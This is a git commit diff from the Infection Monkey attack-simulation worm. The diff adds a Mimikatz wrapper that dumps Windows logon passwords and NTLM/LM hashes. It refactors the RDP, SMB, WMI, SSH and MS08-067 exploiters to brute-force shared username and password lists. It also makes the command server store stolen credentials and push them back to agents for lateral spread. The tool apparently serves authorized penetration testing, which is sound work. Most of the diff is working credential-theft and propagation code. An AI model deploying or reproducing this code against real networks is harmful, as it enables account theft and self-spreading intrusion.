Merge pull request #42 from guardicore/feature/add_mimikatz
Feature/add mimikatz
This commit is contained in:
commit
54f054a4e7
|
@ -153,8 +153,8 @@ See the [LICENSE](LICENSE) file for license rights and limitations (GPLv3).
|
||||||
Dependent packages
|
Dependent packages
|
||||||
---------------------
|
---------------------
|
||||||
|
|
||||||
Dependency | License |
|
Dependency | License | Notes
|
||||||
----------------------------|----------------------------
|
----------------------------|----------------------------|----------------------------
|
||||||
libffi-dev | https://github.com/atgreen/libffi/blob/master/LICENSE
|
libffi-dev | https://github.com/atgreen/libffi/blob/master/LICENSE
|
||||||
PyCrypto | Public domain
|
PyCrypto | Public domain
|
||||||
upx | Custom license, http://upx.sourceforge.net/upx-license.html
|
upx | Custom license, http://upx.sourceforge.net/upx-license.html
|
||||||
|
@ -188,3 +188,4 @@ Dependency | License |
|
||||||
winbind | GPL-3
|
winbind | GPL-3
|
||||||
pyinstaller | GPL
|
pyinstaller | GPL
|
||||||
Celery | BSD
|
Celery | BSD
|
||||||
|
mimikatz | CC BY 4.0 | We use an altered version of mimikatz made by gentilkiwi: https://github.com/guardicore/mimikatz
|
||||||
|
|
|
@ -4,6 +4,7 @@ from network.range import FixedRange, RelativeRange, ClassCRange
|
||||||
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter
|
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter
|
||||||
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger
|
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger
|
||||||
from abc import ABCMeta
|
from abc import ABCMeta
|
||||||
|
from itertools import product
|
||||||
import uuid
|
import uuid
|
||||||
import types
|
import types
|
||||||
|
|
||||||
|
@ -13,7 +14,6 @@ GUID = str(uuid.getnode())
|
||||||
|
|
||||||
EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin')
|
EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin')
|
||||||
|
|
||||||
|
|
||||||
def _cast_by_example(value, example):
|
def _cast_by_example(value, example):
|
||||||
"""
|
"""
|
||||||
a method that casts a value to the type of the parameter given as example
|
a method that casts a value to the type of the parameter given as example
|
||||||
|
@ -204,17 +204,17 @@ class Configuration(object):
|
||||||
ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT"
|
ms08_067_remote_user_add = "Monkey_IUSER_SUPPORT"
|
||||||
ms08_067_remote_user_pass = "Password1!"
|
ms08_067_remote_user_pass = "Password1!"
|
||||||
|
|
||||||
# psexec exploiter
|
|
||||||
psexec_user = "Administrator"
|
|
||||||
psexec_passwords = ["Password1!", "1234", "password", "12345678"]
|
|
||||||
|
|
||||||
# ssh exploiter
|
|
||||||
ssh_users = ["root", 'user']
|
|
||||||
ssh_passwords = ["Password1!", "1234", "password", "12345678"]
|
|
||||||
|
|
||||||
# rdp exploiter
|
# rdp exploiter
|
||||||
rdp_use_vbs_download = True
|
rdp_use_vbs_download = True
|
||||||
|
|
||||||
|
# User and password dictionaries for exploits.
|
||||||
|
|
||||||
|
def get_exploit_user_password_pairs(self):
|
||||||
|
return product(self.exploit_user_list, self.exploit_password_list)
|
||||||
|
|
||||||
|
exploit_user_list = ['Administrator', 'root', 'user']
|
||||||
|
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
|
||||||
|
|
||||||
# smb/wmi exploiter
|
# smb/wmi exploiter
|
||||||
smb_download_timeout = 300 # timeout in seconds
|
smb_download_timeout = 300 # timeout in seconds
|
||||||
smb_service_name = "InfectionMonkey"
|
smb_service_name = "InfectionMonkey"
|
||||||
|
@ -223,4 +223,10 @@ class Configuration(object):
|
||||||
collect_system_info = True
|
collect_system_info = True
|
||||||
|
|
||||||
|
|
||||||
|
###########################
|
||||||
|
# systeminfo config
|
||||||
|
###########################
|
||||||
|
|
||||||
|
mimikatz_dll_name = "mk.dll"
|
||||||
|
|
||||||
WormConfiguration = Configuration()
|
WormConfiguration = Configuration()
|
||||||
|
|
|
@ -12,21 +12,6 @@
|
||||||
],
|
],
|
||||||
"blocked_ips": [""],
|
"blocked_ips": [""],
|
||||||
"current_server": "41.50.73.31:5000",
|
"current_server": "41.50.73.31:5000",
|
||||||
"psexec_passwords": [
|
|
||||||
"Password1!",
|
|
||||||
"1234",
|
|
||||||
"password",
|
|
||||||
"12345678"
|
|
||||||
],
|
|
||||||
"ssh_passwords": [
|
|
||||||
"Password1!",
|
|
||||||
"Password",
|
|
||||||
"1234",
|
|
||||||
"12345",
|
|
||||||
"123",
|
|
||||||
"password",
|
|
||||||
"12345678"
|
|
||||||
],
|
|
||||||
"alive": true,
|
"alive": true,
|
||||||
"collect_system_info": true,
|
"collect_system_info": true,
|
||||||
"depth": 2,
|
"depth": 2,
|
||||||
|
@ -63,7 +48,6 @@
|
||||||
"ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT",
|
"ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT",
|
||||||
"ms08_067_remote_user_pass": "Password1!",
|
"ms08_067_remote_user_pass": "Password1!",
|
||||||
"ping_scan_timeout": 10000,
|
"ping_scan_timeout": 10000,
|
||||||
"psexec_user": "Administrator",
|
|
||||||
"range_size": 30,
|
"range_size": 30,
|
||||||
"rdp_use_vbs_download": true,
|
"rdp_use_vbs_download": true,
|
||||||
"smb_download_timeout": 300,
|
"smb_download_timeout": 300,
|
||||||
|
@ -74,11 +58,9 @@
|
||||||
"serialize_config": false,
|
"serialize_config": false,
|
||||||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
|
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
|
||||||
"skip_exploit_if_file_exist": true,
|
"skip_exploit_if_file_exist": true,
|
||||||
"ssh_users": [
|
|
||||||
"root",
|
|
||||||
"user"
|
|
||||||
],
|
|
||||||
"local_network_scan": true,
|
"local_network_scan": true,
|
||||||
|
"exploit_user_list": [],
|
||||||
|
"exploit_password_list" = []
|
||||||
"tcp_scan_get_banner": true,
|
"tcp_scan_get_banner": true,
|
||||||
"tcp_scan_interval": 200,
|
"tcp_scan_interval": 200,
|
||||||
"tcp_scan_timeout": 10000,
|
"tcp_scan_timeout": 10000,
|
||||||
|
|
|
@ -280,27 +280,27 @@ class RdpExploiter(HostExploiter):
|
||||||
'monkey_path': self._config.dropper_target_path,
|
'monkey_path': self._config.dropper_target_path,
|
||||||
'http_path': http_path, 'parameters': cmdline}
|
'http_path': http_path, 'parameters': cmdline}
|
||||||
|
|
||||||
passwords = list(self._config.psexec_passwords[:])
|
config_users = self._config.exploit_user_list
|
||||||
known_password = host.get_credentials(self._config.psexec_user)
|
config_passwords = self._config.exploit_password_list
|
||||||
if known_password is not None:
|
user_password_pairs = []
|
||||||
if known_password in passwords:
|
for user in config_users:
|
||||||
passwords.remove(known_password)
|
for password in config_passwords:
|
||||||
passwords.insert(0, known_password)
|
user_password_pairs.append((user, password))
|
||||||
|
|
||||||
if not g_reactor.is_alive():
|
if not g_reactor.is_alive():
|
||||||
g_reactor.daemon = True
|
g_reactor.daemon = True
|
||||||
g_reactor.start()
|
g_reactor.start()
|
||||||
|
|
||||||
exploited = False
|
exploited = False
|
||||||
for password in passwords:
|
for user, password in user_password_pairs:
|
||||||
try:
|
try:
|
||||||
# run command using rdp.
|
# run command using rdp.
|
||||||
LOG.info("Trying RDP logging into victim %r with user %s and password '%s'",
|
LOG.info("Trying RDP logging into victim %r with user %s and password '%s'",
|
||||||
host, self._config.psexec_user, password)
|
host, user, password)
|
||||||
|
|
||||||
LOG.info("RDP connected to %r", host)
|
LOG.info("RDP connected to %r", host)
|
||||||
|
|
||||||
client_factory = CMDClientFactory(self._config.psexec_user, password, "", command)
|
client_factory = CMDClientFactory(user, password, "", command)
|
||||||
|
|
||||||
reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory)
|
reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory)
|
||||||
|
|
||||||
|
@ -308,16 +308,16 @@ class RdpExploiter(HostExploiter):
|
||||||
|
|
||||||
if client_factory.success:
|
if client_factory.success:
|
||||||
exploited = True
|
exploited = True
|
||||||
host.learn_credentials(self._config.psexec_user, password)
|
host.learn_credentials(user, password)
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
# failed exploiting with this user/pass
|
# failed exploiting with this user/pass
|
||||||
report_failed_login(self, host, self._config.psexec_user, password)
|
report_failed_login(self, host, user, password)
|
||||||
|
|
||||||
except Exception, exc:
|
except Exception, exc:
|
||||||
LOG.debug("Error logging into victim %r with user"
|
LOG.debug("Error logging into victim %r with user"
|
||||||
" %s and password '%s': (%s)", host,
|
" %s and password '%s': (%s)", host,
|
||||||
self._config.psexec_user, password, exc)
|
user, password, exc)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||||
|
|
|
@ -64,19 +64,14 @@ class SmbExploiter(HostExploiter):
|
||||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
passwords = list(self._config.psexec_passwords[:])
|
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
||||||
known_password = host.get_credentials(self._config.psexec_user)
|
|
||||||
if known_password is not None:
|
|
||||||
if known_password in passwords:
|
|
||||||
passwords.remove(known_password)
|
|
||||||
passwords.insert(0, known_password)
|
|
||||||
|
|
||||||
exploited = False
|
exploited = False
|
||||||
for password in passwords:
|
for user, password in user_password_pairs:
|
||||||
try:
|
try:
|
||||||
# copy the file remotely using SMB
|
# copy the file remotely using SMB
|
||||||
remote_full_path = SmbTools.copy_file(host,
|
remote_full_path = SmbTools.copy_file(host,
|
||||||
self._config.psexec_user,
|
user,
|
||||||
password,
|
password,
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path,
|
self._config.dropper_target_path,
|
||||||
|
@ -84,18 +79,18 @@ class SmbExploiter(HostExploiter):
|
||||||
|
|
||||||
if remote_full_path is not None:
|
if remote_full_path is not None:
|
||||||
LOG.debug("Successfully logged in %r using SMB (%s : %s)",
|
LOG.debug("Successfully logged in %r using SMB (%s : %s)",
|
||||||
host, self._config.psexec_user, password)
|
host, user, password)
|
||||||
host.learn_credentials(self._config.psexec_user, password)
|
host.learn_credentials(user, password)
|
||||||
exploited = True
|
exploited = True
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
# failed exploiting with this user/pass
|
# failed exploiting with this user/pass
|
||||||
report_failed_login(self, host, self._config.psexec_user, password)
|
report_failed_login(self, host, user, password)
|
||||||
|
|
||||||
except Exception, exc:
|
except Exception, exc:
|
||||||
LOG.debug("Exception when trying to copy file using SMB to %r with user"
|
LOG.debug("Exception when trying to copy file using SMB to %r with user"
|
||||||
" %s and password '%s': (%s)", host,
|
" %s and password '%s': (%s)", host,
|
||||||
self._config.psexec_user, password, exc)
|
user, password, exc)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
if not exploited:
|
if not exploited:
|
||||||
|
@ -118,7 +113,7 @@ class SmbExploiter(HostExploiter):
|
||||||
rpctransport.preferred_dialect(SMB_DIALECT)
|
rpctransport.preferred_dialect(SMB_DIALECT)
|
||||||
if hasattr(rpctransport, 'set_credentials'):
|
if hasattr(rpctransport, 'set_credentials'):
|
||||||
# This method exists only for selected protocol sequences.
|
# This method exists only for selected protocol sequences.
|
||||||
rpctransport.set_credentials(self._config.psexec_user, password, host.ip_addr,
|
rpctransport.set_credentials(user, password, host.ip_addr,
|
||||||
"", "", None)
|
"", "", None)
|
||||||
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
|
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
|
||||||
|
|
||||||
|
|
|
@ -42,20 +42,12 @@ class SSHExploiter(HostExploiter):
|
||||||
is_open, _ = check_port_tcp(host.ip_addr, port)
|
is_open, _ = check_port_tcp(host.ip_addr, port)
|
||||||
if not is_open:
|
if not is_open:
|
||||||
LOG.info("SSH port is closed on %r, skipping", host)
|
LOG.info("SSH port is closed on %r, skipping", host)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
passwords = list(self._config.ssh_passwords[:])
|
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
||||||
users = list(self._config.ssh_users)
|
|
||||||
known_passwords = [host.get_credentials(x) for x in users]
|
|
||||||
if len(known_passwords) > 0:
|
|
||||||
for known_pass in known_passwords:
|
|
||||||
if known_pass in passwords:
|
|
||||||
passwords.remove(known_pass)
|
|
||||||
passwords.insert(0, known_pass) #try first
|
|
||||||
user_pass = product(users,passwords)
|
|
||||||
|
|
||||||
exploited = False
|
exploited = False
|
||||||
for user, curpass in user_pass:
|
for user, curpass in user_password_pairs:
|
||||||
try:
|
try:
|
||||||
ssh.connect(host.ip_addr,
|
ssh.connect(host.ip_addr,
|
||||||
username=user,
|
username=user,
|
||||||
|
|
|
@ -235,7 +235,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
|
|
||||||
if not remote_full_path:
|
if not remote_full_path:
|
||||||
# try other passwords for administrator
|
# try other passwords for administrator
|
||||||
for password in self._config.psexec_passwords:
|
for password in self._config.exploit_password_list:
|
||||||
remote_full_path = SmbTools.copy_file(host,
|
remote_full_path = SmbTools.copy_file(host,
|
||||||
"Administrator",
|
"Administrator",
|
||||||
password,
|
password,
|
||||||
|
|
|
@ -29,14 +29,9 @@ class WmiExploiter(HostExploiter):
|
||||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
passwords = list(self._config.psexec_passwords[:])
|
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
||||||
known_password = host.get_credentials(self._config.psexec_user)
|
|
||||||
if known_password is not None:
|
|
||||||
if known_password in passwords:
|
|
||||||
passwords.remove(known_password)
|
|
||||||
passwords.insert(0, known_password)
|
|
||||||
|
|
||||||
for password in passwords:
|
for user, password in user_password_pairs:
|
||||||
LOG.debug("Attempting to connect %r using WMI with password '%s'",
|
LOG.debug("Attempting to connect %r using WMI with password '%s'",
|
||||||
host, password)
|
host, password)
|
||||||
|
|
||||||
|
@ -44,27 +39,27 @@ class WmiExploiter(HostExploiter):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
wmi_connection.connect(host,
|
wmi_connection.connect(host,
|
||||||
self._config.psexec_user,
|
user,
|
||||||
password)
|
password)
|
||||||
except AccessDeniedException:
|
except AccessDeniedException:
|
||||||
LOG.debug("Failed connecting to %r using WMI with password '%s'",
|
LOG.debug("Failed connecting to %r using WMI with user,password ('%s','%s')",
|
||||||
host, password)
|
host, user, password)
|
||||||
continue
|
continue
|
||||||
except DCERPCException, exc:
|
except DCERPCException, exc:
|
||||||
report_failed_login(self, host, self._config.psexec_user, password)
|
report_failed_login(self, host, user, password)
|
||||||
LOG.debug("Failed connecting to %r using WMI with password '%s'",
|
LOG.debug("Failed connecting to %r using WMI with user,password: ('%s','%s')",
|
||||||
host, password)
|
host, user, password)
|
||||||
continue
|
continue
|
||||||
except socket.error, exc:
|
except socket.error, exc:
|
||||||
LOG.debug("Network error in WMI connection to %r with password '%s' (%s)",
|
LOG.debug("Network error in WMI connection to %r with user,password: ('%s','%s') (%s)",
|
||||||
host, password, exc)
|
host, user, password, exc)
|
||||||
return False
|
return False
|
||||||
except Exception, exc:
|
except Exception, exc:
|
||||||
LOG.debug("Unknown WMI connection error to %r with password '%s' (%s):\n%s",
|
LOG.debug("Unknown WMI connection error to %r with user,password: ('%s','%s') (%s):\n%s",
|
||||||
host, password, exc, traceback.format_exc())
|
host, user, password, exc, traceback.format_exc())
|
||||||
return False
|
return False
|
||||||
|
|
||||||
host.learn_credentials(self._config.psexec_user, password)
|
host.learn_credentials(user, password)
|
||||||
|
|
||||||
# query process list and check if monkey already running on victim
|
# query process list and check if monkey already running on victim
|
||||||
process_list = WmiTools.list_object(wmi_connection, "Win32_Process",
|
process_list = WmiTools.list_object(wmi_connection, "Win32_Process",
|
||||||
|
@ -78,7 +73,7 @@ class WmiExploiter(HostExploiter):
|
||||||
|
|
||||||
# copy the file remotely using SMB
|
# copy the file remotely using SMB
|
||||||
remote_full_path = SmbTools.copy_file(host,
|
remote_full_path = SmbTools.copy_file(host,
|
||||||
self._config.psexec_user,
|
user,
|
||||||
password,
|
password,
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path,
|
self._config.dropper_target_path,
|
||||||
|
|
|
@ -105,6 +105,9 @@ class ChaosMonkey(object):
|
||||||
ControlClient.keepalive()
|
ControlClient.keepalive()
|
||||||
ControlClient.load_control_config()
|
ControlClient.load_control_config()
|
||||||
|
|
||||||
|
LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list))
|
||||||
|
LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list))
|
||||||
|
|
||||||
self._network.initialize()
|
self._network.initialize()
|
||||||
|
|
||||||
self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes]
|
self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes]
|
||||||
|
|
|
@ -9,11 +9,15 @@ a = Analysis(['main.py'],
|
||||||
|
|
||||||
if platform.system().find("Windows")>= 0:
|
if platform.system().find("Windows")>= 0:
|
||||||
a.datas = [i for i in a.datas if i[0].find('Include') < 0]
|
a.datas = [i for i in a.datas if i[0].find('Include') < 0]
|
||||||
|
if platform.architecture()[0] == "32bit":
|
||||||
|
a.binaries += [('mk.dll', '.\\bin\\mk32.dll', 'BINARY')]
|
||||||
|
else:
|
||||||
|
a.binaries += [('mk.dll', '.\\bin\\mk64.dll', 'BINARY')]
|
||||||
|
|
||||||
pyz = PYZ(a.pure)
|
pyz = PYZ(a.pure)
|
||||||
exe = EXE(pyz,
|
exe = EXE(pyz,
|
||||||
a.scripts,
|
a.scripts,
|
||||||
a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\system32\msvcr100.dll', 'BINARY')],
|
a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')],
|
||||||
a.zipfiles,
|
a.zipfiles,
|
||||||
a.datas,
|
a.datas,
|
||||||
name='monkey.exe',
|
name='monkey.exe',
|
||||||
|
|
|
@ -0,0 +1,82 @@
|
||||||
|
import ctypes
|
||||||
|
import binascii
|
||||||
|
import logging
|
||||||
|
|
||||||
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
class MimikatzCollector:
|
||||||
|
"""
|
||||||
|
Password collection module for Windows using Mimikatz.
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
try:
|
||||||
|
self._isInit = False
|
||||||
|
self._config = __import__('config').WormConfiguration
|
||||||
|
self._dll = ctypes.WinDLL(self._config.mimikatz_dll_name)
|
||||||
|
collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int)
|
||||||
|
get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData)
|
||||||
|
self._collect = collect_proto(("collect", self._dll))
|
||||||
|
self._get = get_proto(("get", self._dll))
|
||||||
|
self._isInit = True
|
||||||
|
except StandardError as ex:
|
||||||
|
LOG.exception("Error initializing mimikatz collector")
|
||||||
|
|
||||||
|
def get_logon_info(self):
|
||||||
|
"""
|
||||||
|
Gets the logon info from mimikatz.
|
||||||
|
Returns a dictionary of users with their known credentials.
|
||||||
|
"""
|
||||||
|
|
||||||
|
if not self._isInit:
|
||||||
|
return {}
|
||||||
|
|
||||||
|
try:
|
||||||
|
entry_count = self._collect()
|
||||||
|
|
||||||
|
logon_data_dictionary = {}
|
||||||
|
|
||||||
|
for i in range(entry_count):
|
||||||
|
entry = self._get()
|
||||||
|
username = str(entry.username)
|
||||||
|
password = str(entry.password)
|
||||||
|
lm_hash = binascii.hexlify(bytearray(entry.lm_hash))
|
||||||
|
ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash))
|
||||||
|
has_password = (0 != len(password))
|
||||||
|
has_lm = ("00000000000000000000000000000000" != lm_hash)
|
||||||
|
has_ntlm = ("00000000000000000000000000000000" != ntlm_hash)
|
||||||
|
|
||||||
|
if not logon_data_dictionary.has_key(username):
|
||||||
|
logon_data_dictionary[username] = {}
|
||||||
|
if has_password:
|
||||||
|
logon_data_dictionary[username]["password"] = password
|
||||||
|
if has_lm:
|
||||||
|
logon_data_dictionary[username]["lm_hash"] = lm_hash
|
||||||
|
if has_ntlm:
|
||||||
|
logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash
|
||||||
|
|
||||||
|
return logon_data_dictionary
|
||||||
|
except StandardError as ex:
|
||||||
|
LOG.exception("Error getting logon info")
|
||||||
|
return {}
|
||||||
|
|
||||||
|
class LogonData(ctypes.Structure):
|
||||||
|
"""
|
||||||
|
Logon data structure returned from mimikatz.
|
||||||
|
"""
|
||||||
|
|
||||||
|
WINDOWS_MAX_USERNAME_PASS_LENGTH = 257
|
||||||
|
LM_NTLM_HASH_LENGTH = 16
|
||||||
|
|
||||||
|
_fields_ = \
|
||||||
|
[
|
||||||
|
("username", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
|
||||||
|
("password", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
|
||||||
|
("lm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH),
|
||||||
|
("ntlm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH)
|
||||||
|
]
|
|
@ -1,5 +1,5 @@
|
||||||
from . import InfoCollector
|
from . import InfoCollector
|
||||||
|
from mimikatz_collector import MimikatzCollector
|
||||||
__author__ = 'uri'
|
__author__ = 'uri'
|
||||||
|
|
||||||
|
|
||||||
|
@ -14,4 +14,6 @@ class WindowsInfoCollector(InfoCollector):
|
||||||
def get_info(self):
|
def get_info(self):
|
||||||
self.get_hostname()
|
self.get_hostname()
|
||||||
self.get_process_list()
|
self.get_process_list()
|
||||||
|
mimikatz_collector = MimikatzCollector()
|
||||||
|
self.info["credentials"] = mimikatz_collector.get_logon_info()
|
||||||
return self.info
|
return self.info
|
||||||
|
|
|
@ -48,6 +48,9 @@ MONKEY_DOWNLOADS = [
|
||||||
},
|
},
|
||||||
]
|
]
|
||||||
|
|
||||||
|
INITIAL_USERNAMES = ['Administrator', 'root', 'user']
|
||||||
|
INITIAL_PASSWORDS = ["Password1!", "1234", "password", "12345678"]
|
||||||
|
|
||||||
MONGO_URL = os.environ.get('MONGO_URL')
|
MONGO_URL = os.environ.get('MONGO_URL')
|
||||||
if not MONGO_URL:
|
if not MONGO_URL:
|
||||||
MONGO_URL = "mongodb://localhost:27017/monkeyisland"
|
MONGO_URL = "mongodb://localhost:27017/monkeyisland"
|
||||||
|
@ -65,7 +68,12 @@ class Monkey(restful.Resource):
|
||||||
timestamp = request.args.get('timestamp')
|
timestamp = request.args.get('timestamp')
|
||||||
|
|
||||||
if guid:
|
if guid:
|
||||||
return mongo.db.monkey.find_one_or_404({"guid": guid})
|
monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid})
|
||||||
|
monkey_json['config']['exploit_user_list'] = \
|
||||||
|
map(lambda x: x['username'], mongo.db.usernames.find({}, {'_id': 0, 'username': 1}).sort([('count', -1)]))
|
||||||
|
monkey_json['config']['exploit_password_list'] = \
|
||||||
|
map(lambda x: x['password'], mongo.db.passwords.find({}, {'_id': 0, 'password': 1}).sort([('count', -1)]))
|
||||||
|
return monkey_json
|
||||||
else:
|
else:
|
||||||
result = {'timestamp': datetime.now().isoformat()}
|
result = {'timestamp': datetime.now().isoformat()}
|
||||||
find_filter = {}
|
find_filter = {}
|
||||||
|
@ -195,6 +203,18 @@ class Telemetry(restful.Resource):
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
# Update credentials DB
|
||||||
|
try:
|
||||||
|
if (telemetry_json.get('telem_type') == 'system_info_collection') and (telemetry_json['data'].has_key('credentials')):
|
||||||
|
creds = telemetry_json['data']['credentials']
|
||||||
|
for user in creds:
|
||||||
|
creds_add_username(user)
|
||||||
|
|
||||||
|
if creds[user].has_key('password'):
|
||||||
|
creds_add_password(creds[user]['password'])
|
||||||
|
except StandardError as ex:
|
||||||
|
print("Exception caught while updating DB credentials: %s" % str(ex))
|
||||||
|
|
||||||
return mongo.db.telemetry.find_one_or_404({"_id": telem_id})
|
return mongo.db.telemetry.find_one_or_404({"_id": telem_id})
|
||||||
|
|
||||||
|
|
||||||
|
@ -259,6 +279,9 @@ class Root(restful.Resource):
|
||||||
mongo.db.config.drop()
|
mongo.db.config.drop()
|
||||||
mongo.db.monkey.drop()
|
mongo.db.monkey.drop()
|
||||||
mongo.db.telemetry.drop()
|
mongo.db.telemetry.drop()
|
||||||
|
mongo.db.usernames.drop()
|
||||||
|
mongo.db.passwords.drop()
|
||||||
|
init_db()
|
||||||
return {
|
return {
|
||||||
'status': 'OK',
|
'status': 'OK',
|
||||||
}
|
}
|
||||||
|
@ -347,13 +370,25 @@ def run_local_monkey(island_address):
|
||||||
|
|
||||||
return (True, "pis: %s" % pid)
|
return (True, "pis: %s" % pid)
|
||||||
|
|
||||||
|
def creds_add_username(username):
|
||||||
|
mongo.db.usernames.update(
|
||||||
|
{'username': username},
|
||||||
|
{'$inc': {'count': 1}},
|
||||||
|
upsert=True
|
||||||
|
)
|
||||||
|
|
||||||
|
def creds_add_password(password):
|
||||||
|
mongo.db.passwords.update(
|
||||||
|
{'password': password},
|
||||||
|
{'$inc': {'count': 1}},
|
||||||
|
upsert=True
|
||||||
|
)
|
||||||
|
|
||||||
### Local ips function
|
### Local ips function
|
||||||
if sys.platform == "win32":
|
if sys.platform == "win32":
|
||||||
def local_ips():
|
def local_ips():
|
||||||
local_hostname = socket.gethostname()
|
local_hostname = socket.gethostname()
|
||||||
return socket.gethostbyname_ex(local_hostname)[2]
|
return socket.gethostbyname_ex(local_hostname)[2]
|
||||||
|
|
||||||
else:
|
else:
|
||||||
import fcntl
|
import fcntl
|
||||||
def local_ips():
|
def local_ips():
|
||||||
|
@ -398,6 +433,17 @@ def send_to_default():
|
||||||
return redirect('/admin/index.html')
|
return redirect('/admin/index.html')
|
||||||
|
|
||||||
|
|
||||||
|
def init_db():
|
||||||
|
if not "usernames" in mongo.db.collection_names():
|
||||||
|
mongo.db.usernames.create_index([( "username", 1 )], unique= True)
|
||||||
|
for username in INITIAL_USERNAMES:
|
||||||
|
creds_add_username(username)
|
||||||
|
|
||||||
|
if not "passwords" in mongo.db.collection_names():
|
||||||
|
mongo.db.passwords.create_index([( "password", 1 )], unique= True)
|
||||||
|
for password in INITIAL_PASSWORDS:
|
||||||
|
creds_add_password(password)
|
||||||
|
|
||||||
DEFAULT_REPRESENTATIONS = {'application/json': output_json}
|
DEFAULT_REPRESENTATIONS = {'application/json': output_json}
|
||||||
api = restful.Api(app)
|
api = restful.Api(app)
|
||||||
api.representations = DEFAULT_REPRESENTATIONS
|
api.representations = DEFAULT_REPRESENTATIONS
|
||||||
|
@ -414,6 +460,8 @@ if __name__ == '__main__':
|
||||||
from tornado.httpserver import HTTPServer
|
from tornado.httpserver import HTTPServer
|
||||||
from tornado.ioloop import IOLoop
|
from tornado.ioloop import IOLoop
|
||||||
|
|
||||||
|
with app.app_context():
|
||||||
|
init_db()
|
||||||
http_server = HTTPServer(WSGIContainer(app), ssl_options={'certfile': 'server.crt', 'keyfile': 'server.key'})
|
http_server = HTTPServer(WSGIContainer(app), ssl_options={'certfile': 'server.crt', 'keyfile': 'server.key'})
|
||||||
http_server.listen(ISLAND_PORT)
|
http_server.listen(ISLAND_PORT)
|
||||||
IOLoop.instance().start()
|
IOLoop.instance().start()
|
||||||
|
|
Loading…
Reference in New Issue